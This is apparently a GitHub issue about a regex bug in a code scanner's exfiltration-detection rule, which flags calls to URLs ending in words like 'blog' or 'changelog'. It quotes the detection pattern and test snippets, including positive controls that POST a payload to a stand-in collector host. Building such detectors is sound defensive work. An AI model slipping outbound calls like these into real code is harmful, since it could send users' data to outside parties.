Skip to content

Python/TypeScript/JavaScript exfiltration_camouflage: 'log' has no left boundary, fetch("/api/blog") and requests.post(".../changelog") count #9455

Backlog

Description

@squid-protocol

Found by the SOP-002 gap-cell decoy suite (protocol SOP-002-v1, epic #8863).

Construct: the exfiltration_camouflage rule in python, typescript and javascript ends in (?:checkmarx|telemetry|metrics|audit|log)\b with no left word boundary, so any word that merely ENDS in log (blog, changelog, catalog, dialog, backlog) inside an outbound POST/fetch call counts as a log-shaped exfiltration target.

Snippets and actual hits (expected 0 each):

  • python requests.post("https://x.io/blog") -> 1
  • python requests.post(url_catalog) -> 1
  • typescript / javascript fetch("/api/blog") -> 1
  • typescript / javascript fetch("/changelog") -> 1

Positive controls (requests.post("https://collector.example.com/telemetry", json=payload), fetch("https://collector.example.com/telemetry", { method: "POST" })) fire as they should, and fetch("/login") correctly reads 0.

Rules: gitgalaxy/standards/language_standards/languages/python.py, typescript.py, javascript.py, exfiltration_camouflage.

Locked in tests/decoys/test_decoy_python.py, test_decoy_typescript.py and test_decoy_javascript.py as xfail(strict=True).

Activity

  1. added
    bug
    on Nov 26, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    bug

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions